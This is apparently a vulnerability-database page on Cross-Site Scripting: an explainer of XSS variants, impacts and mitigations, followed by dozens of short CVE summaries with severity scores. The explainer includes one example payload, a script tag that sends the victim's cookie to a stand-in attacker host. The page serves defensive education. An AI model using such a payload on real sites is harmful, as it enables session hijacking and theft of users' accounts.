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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39234)

EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

DSpace open source software is a repository application which provides durable access to digital resources. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Dspace
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

PyroCMS v3.9 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Pyrocms
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Shopware is an open source e-commerce software. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Shopware
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

laminas-diactoros is a PHP package containing implementations of the PSR-7 HTTP message interfaces and PSR-17 HTTP message factory interfaces. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Laminas Diactoros
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM CICS TX 11.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Cics Tx
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM CICS TX 11.1 could allow a remote attacker to hijack the clicking action of the victim. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

IBM XSS Cics Tx
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository beancount/fava prior to 1.22.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Fava
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Authenticated (author or higher user role) Stored Cross-Site Scripting (XSS) vulnerability in ideasToCode Enable SVG, WebP & ICO Upload plugin <= 1.0.1 at WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Enable Svg Webp Ico Upload
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Flexi Quote Rotator WordPress plugin through 0.9.4 does not sanitise and escape its settings, allowing high privilege users such as admin to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Flexi Quote Rotator
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Invitation Based Registrations WordPress plugin through 2.2.84 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Invitation Based Registrations
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WordPress Popup WordPress plugin through 1.9.3.8 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Popups
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Featured Image from URL (FIFU) WordPress plugin before 4.0.1 does not validate, sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Featured Image From Url
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Featured Image from URL (FIFU) WordPress plugin before 4.0.1 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS WordPress +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The GiveWP WordPress plugin before 2.21.3 does not properly sanitise and escape the currency settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Givewp
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Advanced WordPress Reset WordPress plugin before 1.6 does not escape some generated URLs before outputting them back in href attributes of admin dashboard pages, leading to Reflected Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Advanced Wordpress Reset
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Progressive License WordPress plugin through 1.1.0 is lacking any CSRF check when saving its settings, which could allow attackers to make a logged in admin change them. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS WordPress +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Microsoft Advertising Universal Event Tracking (UET) WordPress plugin before 1.0.4 does not sanitise and escape its settings, allowing high privilege users such as admin to perform Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Microsoft XSS WordPress +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Copyright Proof WordPress plugin through 4.16 does not sanitise and escape a parameter before outputting it back via an AJAX action available to both unauthenticated and authenticated users,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Copyright Proof
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Event Timeline WordPress plugin through 1.1.5 does not sanitize and escape Timeline Text, which could allow high-privileged users such as admin to perform Cross-Site Scripting attacks even when. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Event Timeline
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Login with phone number WordPress plugin before 1.3.8 does not sanitise and escape plugin settings which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Login With Phone Number
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM DataPower Gateway 10.0.2.0 through 10.0.4.0, 10.0.1.0 through 10.0.1.8, 10.5.0.0, and 2018.4.1.0 through 2018.4.1.21 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Datapower Gateway
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM DataPower Gateway 10.0.2.0 through 10.0.4.0, 10.0.1.0 through 10.0.1.8, 10.5.0.0, and 2018.4.1.0 through 2018.4.1.21 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Datapower Gateway
NVD
EPSS 1% CVSS 3.0
LOW POC Monitor

The Gutenberg plugin through 13.7.3 for WordPress allows stored XSS by the Contributor role via an SVG document to the "Insert from URL" feature. Rated low severity (CVSS 3.0), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS WordPress Gutenberg
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Authenticated (author or higher user role) Stored Cross-Site Scripting (XSS) vulnerability in PluginlySpeaking Floating Div plugin <= 3.0 at WordPress. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Floating Div
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

The Velociraptor GUI contains an editor suggestion feature that can display the description field of a VQL function, plugin or artifact. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Velociraptor
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A cross-site scripting (XSS) issue in generating a collection report made it possible for malicious clients to inject JavaScript code into the static HTML file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Velociraptor
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in SourceCodester Garage Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS PHP Garage Management System
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Advanced School Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the address parameter at ip/school/index.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Advanced School Management System
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Email Viewer in RainLoop through 1.6.0 allows XSS via a crafted email message. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Webmail
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Authenticated (author or higher user role) Stored Cross-Site Scripting (XSS) vulnerability in GS Plugins GS Testimonial Slider plugin <= 1.9.5 at WordPress. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Gs Testimonial Slider
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

An issue has been discovered in GitLab affecting all versions starting from 15.0 before 15.0.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Gitlab XSS
NVD
EPSS 4% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in /index.php?r=site%2Fsignup of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Feehi Cms
NVD GitHub Exploit-DB
EPSS 0% CVSS 5.5
MEDIUM POC This Month

Fossil 2.18 on Windows allows attackers to cause a denial of service (daemon crash) via an XSS payload in a ticket. Rated medium severity (CVSS 5.5), this vulnerability is no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Microsoft XSS Denial Of Service +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

In Veritas NetBackup OpsCenter, a DOM XSS attack can occur. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Netbackup
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Authenticated (contributor or higher user role) Cross-Site Scripting (XSS) vulnerability in Nico Amarilla's BxSlider WP plugin <= 2.0.0 at WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Bxslider Wp
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Jenkins Lucene-Search Plugin 370.v62a5f618cd3a and earlier does not escape the search query parameter displayed on the 'search' result page, resulting in a reflected cross-site scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jenkins Lucene Search
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Jenkins Maven Metadata Plugin for Jenkins CI server Plugin 2.2 and earlier does not perform URL validation for the Repository Base URL of List maven artifact versions parameters, resulting in a. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Maven Metadata
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Jenkins Dynamic Extended Choice Parameter Plugin 1.0.1 and earlier does not escape several fields of Moded Extended Choice parameters, resulting in a stored cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Dynamic Extended Choice Parameter
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Sims v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /addNotifyServlet. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Student Information Management System
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

OX App Suite through 7.10.6 allows XSS via appHandler in a deep link in an e-mail message. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ox App Suite
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OX App Suite through 7.10.6 allows XSS by forcing block-wise read. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS App Suite
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Read Mail module in Webmin 1.995 and Usermin through 1.850 allows XSS via a crafted HTML e-mail message. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Usermin Webmin
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in /index.php/?p=report of Online Fire Reporting System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Online Fire Reporting System
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Advanced School Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component ip/school/moudel/update_subject.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Advanced School Management System
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

InMailX Outlook Plugin < 3.22.0101 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Microsoft XSS Inmailx
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Insufficient data validation in Trusted Types in Google Chrome prior to 101.0.4951.41 allowed a remote attacker to bypass trusted types policy via a crafted HTML page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Google XSS Chrome
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Insufficient data validation in Blink Editing in Google Chrome prior to 101.0.4951.41 allowed a remote attacker to inject arbitrary scripts or HTML via a crafted HTML page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Google XSS Chrome
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Paymoney v3.3 was discovered to contain multiple reflected cross-site scripting (XSS) vulnerabilities via the first_name and last_name parameters. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Paymoney
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Inout Blockchain AltExchanger v1.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /admin/js. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Blockchain Altexchanger
NVD GitHub
EPSS 2% CVSS 9.0
CRITICAL POC PATCH Act Now

Joplin v2.8.8 allows attackers to execute arbitrary commands via a crafted payload injected into the Node titles. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Joplin
NVD GitHub VulDB
EPSS 1% CVSS 7.5
HIGH POC This Week

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain an HTML injection vulnerability via the location parameter at http://ip_address/:port/ossn/home. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Source Social Network
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

Western Digital My Cloud devices are vulnerable to a cross side scripting vulnerability that can allow a malicious user with elevated privileges access to drives being backed up to construct and. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS My Cloud Pr2100 Firmware My Cloud Pr4100 Firmware +6
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Group Timeline module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Source Social Network
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

In Pandora FMS v7.0NG.761 and below, in the agent creation section, the alias parameter is vulnerable to a Stored Cross Site-Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Pandora Fms
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

In Pandora FMS v7.0NG.761 and below, in the file manager section, the dirname parameter is vulnerable to a Stored Cross Site-Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Pandora Fms
NVD
EPSS 4% CVSS 6.1
MEDIUM POC PATCH This Month

A reflected XSS issue was identified in the LTI module of Moodle. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle Fedora +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A stored XSS and blind SSRF vulnerability was found in Moodle, occurs due to insufficient sanitization of user-supplied data in the SCORM track details. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

SSRF XSS Moodle +2
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain a stored cross-site scripting (XSS) vulnerability via the SitePages module. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Source Social Network
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain a stored cross-site scripting (XSS) vulnerability via the News Feed module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Source Social Network
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

OpenTeknik LLC OSSN OPEN SOURCE SOCIAL NETWORK v6.3 LTS was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Users Timeline module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Open Source Social Network
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository beancount/fava prior to 1.22.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Fava
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The time and filter parameters in Fava prior to v1.22 are vulnerable to reflected XSS due to the lack of escaping of error messages which contained the parameters in verbatim. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Fava
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The package grapesjs before 0.19.5 are vulnerable to Cross-site Scripting (XSS) due to an improper sanitization of the class name in Selector Manager. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Grapesjs
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Simple Page Transition WordPress plugin through 1.4.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Simple Page Transition
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The W-DALIL WordPress plugin through 2.0 does not sanitise and escape some of its fields, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress W Dalil
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Allow SVG Files WordPress plugin through 1.1 does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Allow Svg Files
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Request a Quote WordPress plugin before 2.3.9 does not sanitise and escape some of its settings, allowing high privilege users such as admin to perform cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Request A Quote
NVD WPScan
EPSS 1% CVSS 7.2
HIGH POC This Week

The Unyson WordPress plugin before 2.7.27 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Unyson
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP Video Lightbox WordPress plugin before 1.9.5 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Wp Video Lightbox
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Popup Anything WordPress plugin before 2.1.7 does not sanitise and escape a parameter before outputting it back in a frontend page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Popup Anything
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Name Directory WordPress plugin before 1.25.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Name Directory
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Name Directory WordPress plugin before 1.25.4 does not have CSRF check when importing names, and is also lacking sanitisation as well as escaping in some of the imported data, which could allow. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS WordPress +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Header Footer Code Manager
NVD WPScan
EPSS 1% CVSS 6.5
MEDIUM POC This Month

Inappropriate implementation in Web Cursor in Google Chrome prior to 100.0.4896.60 allowed a remote attacker who had compromised the renderer process to obscure the contents of the Omnibox (URL bar). Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Google XSS Chrome
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Multiple Authenticated (contributor or higher user role) Persistent Cross-Site Scripting (XSS) vulnerabilities in wpWax Team plugin <= 1.2.6 at WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Team
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in wpWax Team plugin <= 1.2.6 at WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Team
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerability in Chinmoy Paul's Testimonials plugin <= 3.0.1 at WordPress. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Testimonials
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in the "commonuserinterface" component of BlueSpice allows an attacker to inject arbitrary HTML into a page using the title parameter of the call URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Bluespice
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability in "Extension:ExtendedSearch" of Hallo Welt!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Bluespice
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.2.21. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Better PDF Exporter add-on 10.0.0 for Atlassian Jira is prone to stored XSS via a crafted description to the PDF Templates overview page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Atlassian XSS Better Pdf Exporter
NVD
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 1.2.21. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository openemr/openemr prior to 7.0.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Openemr
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

